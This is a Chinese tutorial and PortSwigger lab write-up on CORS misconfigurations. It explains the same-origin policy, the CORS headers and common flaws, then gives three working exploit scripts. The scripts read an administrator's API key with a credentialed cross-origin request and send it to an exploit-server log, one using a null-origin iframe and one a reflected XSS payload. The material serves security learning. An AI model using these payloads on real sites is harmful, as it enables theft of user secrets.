教程和靶场来源于 Burpsuite 的官网 Portswigger:Cross-origin resource sharing (CORS) - PortSwigger
跨域资源共享(Cross-origin resource sharing,CORS)是一种浏览器机制,允许浏览器访问不同源的资源。同源策略的作用是限制浏览器访问不同源的资源的,而 CORS 是为了放宽同源策略的严格限制,允许设置一些策略让浏览器能够访问到不同源的资源。然而,如果 CORS 策略配置不恰当,就存在跨域攻击的风险。
PS:在理解 CORS 跨域的知识时,源(Origin)、网站(website)和域(domain)可以认为是一个东西。
同源策略
同源策略(Same-origin policy,SOP)限制了浏览器访问不同源的资源的能力,在很久以前,这种机制就已经在浏览器中实现了,为了防止恶意跨域访问,因此这会造成窃取敏感数据等攻击。
下面举一个体现同源策略作用的例子,我在 https://cn.bing.com 网站下的控制台用 fetch API 获取百度的资源:
结果被同源策略被限制。在这个过程中,HTTP 请求已经被浏览器发送出去了,但是返回的响应结果由于同源策略的限制,浏览器被禁止访问。
CORS
在 CORS 策略被开发出来之前,开发者们用 JSONP 技术来实现跨域资源访问。
CORS 用一组 HTTP 头设置策略,告诉浏览器需要满足一些条件才能访问跨域的资源。
CORS 规范定义的响应头:
- Access-Control-Allow-Origin:指定允许访问资源的域。
- Access-Control-Expose-Headers:指定浏览器的 JS 代码允许访问哪些额外的响应头(一些基本的响应头默认允许访问)。
- Access-Control-Max-Age:指定了 preflight 请求(预检请求,即 OPTIONS 请求)的结果能够被缓存多久。
- Access-Control-Allow-Credentials:当响应报文返回该响应头并设置为 true 时,浏览器的 JS 代码要设置 XMLHttpRequest.withCredentials 为 true 或 fetch() 的 Request.credentials 设置为 include 模式,响应才会带浏览器开放访问。
- Access-Control-Allow-Methods:指定了访问资源时允许使用的请求方法,用于预检请求的响应。
- Access-Control-Allow-Headers:用于预检请求的响应。其指明了实际请求(预检请求后接下来发送的请求)中允许携带的标头字段。
CORS 规范定义用于跨源请求的请求头:
- Origin:表明预检请求或实际跨源请求的源站,例如 https://www.baidu.com,不包含 path,其值可以为 null。
- Access-Control-Request-Method:用于预检请求,其作用是将实际请求所使用的 HTTP 方法告诉服务器。
- Access-Control-Request-Headers:用于预检请求。其作用是,将实际请求所携带的标头字段(通过 setRequestHeader() 等设置的)告诉服务器。
安全问题
现代网站使用 CORS 策略实现对子域和第三方受信任网站的资源,这些网站可能因为 CORS 过于放宽限制或错误配置而产生漏洞。
在安全测试的过程中主要关注的问题:
- 网站信任所有的源,具体表现是 Access-Control-Allow-Origin 响应头根据 Origin 请求头值的变化而变化。
- 错误解析 Origin 头,比如使用 Origin 头的值与信任源白名单中的值进行前缀匹配或后缀匹配。
- Access-Control-Allow-Origin 响应头支持 null。
网站信任所有的源
Access-Control-Allow-Origin 响应头根据 Origin 请求头的值而设置值,这种情况相当于信任任何一个源:
错误解析 Origin 头
一些组织配置 CORS 策略,都会设置一个白名单,白名单中是受信任的源,也就是允许出现在 Access-Control-Allow-Origin 响应头的值。然而,在收到跨源请求后,判断 Origin 是否在白名单中的方法往往是 URL 前缀或后缀匹配,或者使用正则表达式,这仍然可能导致安全风险。
举个例子,某个组织的主域是 normal-website.com,为了支持所有来自子域的跨源请求,会将 Origin 与白名单中的值逐一进行后缀匹配,那么除了 *.normal-website.com 以外,*normal-website.com 域也将允许跨源。此时,攻击者可以注册一个像 hackersnormal-website.com 这样的域名来实现跨源攻击。
不仅限于后缀匹配,前缀匹配也可能存在安全风险,比如攻击者可以注册一个像 normal-website.com.evil-user.net 这样的域名来实现跨源攻击。
ACAO 响应头支持 null
Access-Control-Allow-Origin(ACAO)响应头支持 null,此时 Origin 头为 null 的跨源请求也不受限制。浏览器在以下几种情形中发送 Origin: null:
- Cross-origin redirects.
- Requests from serialized data.
- Request using the
file:
protocol. - Sandboxed cross-origin requests.
XSS 与 CORS 的组合
即使 CORS 配置得再严格,如果一个源存在 XSS 漏洞,利用 XSS 仍能通过跨源资源请求窃取敏感数据。
举个例子,X 网站仅支持来自 https://subdomain.vulnerable-website.com 的跨源请求,其他源都不支持,那么攻击者就无法让用户在访问恶意网站时利用 AJAX 进行跨源资源访问。但是,如果 https://subdomain.vulnerable-website.com 网站存在一个 XSS 漏洞,就假设是反射型 XSS,那么攻击者就可以利用 XSS 在当前发起对 X 网站的跨源资源请求,因为 X 网站支持 https://subdomain.vulnerable-website.com。
CORS 配置不当破坏 TLS 加密传输
如果同时支持某个域名的 HTTP 和 HTTPS 两个源,那么利用 MITM 中间人攻击拦截 HTTP 报文并注入 JS 代码。
企业内部网络的 CORS
Access-Control-Allow-Credentials 响应头在预检请求中出现并值为 true,表示接下来的实际请求要带上凭证(如果有的话),没有这个响应头,那么浏览器不会发送凭证(例如 Cookie),攻击者也只能访问未授权的数据。
在一些企业内部网络中,一个私有网站没有外部公开访问的网站那么安全,可能没有配置 Access-Control-Allow-Credentials 响应头,那么这会存在安全风险,发起如下请求就可实现跨源资源访问:
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
服务器只返回一个响应头,没有 Access-Control-Allow-Credentials 响应头:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
实验一
这个实验讲述上述第一个安全问题的利用,其他安全问题对应的实验场景基本一样,只是在针对 Access-Control-Allow-Origin 的配置,利用方法有细微的差别,它们的实验不重复讲述,只给出相关的 exploit。
实验说明:
说明中讲到了这个网站存在一个不安全的 CORS 配置,即信任所有源。为了完成实验,需要精心编写一段 JS 代码,利用 CORS 的不安全配置获取到 administrator 的 API 密钥。
进入实验场景:
使用实验说明给的账号 wiener:peter 登录,登录后自动跳转到个人页面,如图:
burpsuite 捕获访问这个页面的流量,找到其中获取当前账号的 API 密钥的请求包和响应包:
发送到 Repeater,添加 Origin 请求头,并随意设置一个域名,然后发送,结果如图:
我在 Origin 头输入 https://example.com,Access-Control-Allow-Origin 头就返回 https://example.com,在 Origin 头输入任何值,Access-Control-Allow-Origin 头就返回同样的值。这就是一个安全问题,任何网站(或者说源)发起的跨源资源请求(通常是 AJAX 请求)都被允许访问这个网站的资源,在当前网站就是 /accountDetails 接口返回的数据。
回到实验场景中,点击按钮进入 exploit 服务器配置:
exploit 服务器配置:
exploit 服务器就相当于攻击者的服务器,配置好响应包的内容,直接点击下发按钮:
服务器就会把这个 https://exploit-0ab500f10427142980b8cad901a900f4.exploit-server.net/exploit 递送给受害者,受害者打开这个链接,就会访问 exploit 服务器的 /exploit,返回攻击者事先配置好的响应包。这个过程模拟了 CSRF 攻击,整个过程大致如下:
说明:
- exploit 服务器给受害者下发链接相当于给他发了一个钓鱼网站的链接。
- 第 4 步,受害者访问 exploit 服务器的 /exploit 后,返回一个攻击者事先构造好的页面,其中包含了向 web-security-academy 服务器的 /accountDetails 发送 AJAX 请求,此时也是跨源资源请求,从 exploit 服务器上的网站跨源到 web-security-academy 网站。
下面是 exploit 服务器上事先配置好的 /exploit 响应包:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a340056047614ae8068cb8c00e40034.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
受害者访问 exploit 服务器的 /exploit AJAX 向 web-security-academy 网站的 /accountDetails 发起请求,获取到返回的 administrator API 密钥后,再将密钥附加到 /log?key= 路径后面,然后跳转到这个路径,也就是访问
https://exploit-0ab500f10427142980b8cad901a900f4.exploit-server.net//log?key=<API 密钥>
exploit 服务器的访问日志会记录这个请求,攻击者访问日志也就得到了 API 密钥:
URL 解码得到 API key:lC3pgVmi83I2tj0EICAQoNRwC3grnVML,回到首页,点击顶部的 Submit Solution 按钮提交后完成实验。
实验二(exploit)
这次实验场景中的 CORS 配置与前一个实验的有所不同,在 /accountDetails 请求添加 Origin: null,响应头 Access-Control-Allow-Origin 的值为 null,表示支持 Origin 为 null 的跨源请求:
Origin 自动设置当前网站的协议+域名,而我们知道没有一个网站的域名是 null,所以需要一些特殊技巧发送出去一个 Origin: null 的跨源请求,沙盒化跨域请求可以做到这一点。
下面是发送沙盒化跨域请求的代码:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0ac6007104b0e71c8394d72e00640072.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-0ad600a504c8e7fb8390d61901df000b.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
把这段代码作为 /explpoit 的响应体:
下发 exploit 给受害者后,在访问日志就能看到 administrator 的 API 密钥了。
实验三(exploit)
实验说明:
这个实验与前面的环境几乎一样,仅 CORS 策略的配置有些不同,支持的源有:
http://0a1000a4039ea0e180a96c7200c50053.web-security-academy.net
https://0a1000a4039ea0e180a96c7200c50053.web-security-academy.net
http://stock.0a1000a4039ea0e180a96c7200c50053.web-security-academy.net
https://stock.0a1000a4039ea0e180a96c7200c50053.web-security-academy.net
在 stock 这个子域存在一个 XSS 漏洞:
利用这个 XSS 漏洞发起跨源资源请求,窃取 adminstrator 的 API 密钥,然后发送到 exploit 服务器上。
exploit:
<script>
document.location="http://stock.0a1000a4039ea0e180a96c7200c50053.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a1000a4039ea0e180a96c7200c50053.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0aea00bb0310a08580cb6b0c016f00b3.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
XSS payload 几乎跟前两个实验的 JS 代码一样。
后面就是下发 exploit 给受害者,然后查看访问日志,找到 API 密钥并提交即可。
防御
- 正确配置 Access-Control-Allow-Origin 响应头,设置一个受信任源的白名单,不支持 null 值。
- CORS 是针对浏览器的机制,服务器也要对资源完善身份验证和授权等机制。
参考
和跨域CORS有关的几个请求头和响应头以及预检请求_2、与跨域相关的请求头和响应头各有哪些?-CSDN博客
跨源资源共享(CORS) - HTTP | MDN (mozilla.org)
HTTP headers | Access-Control-Allow-Credentials - GeeksforGeeks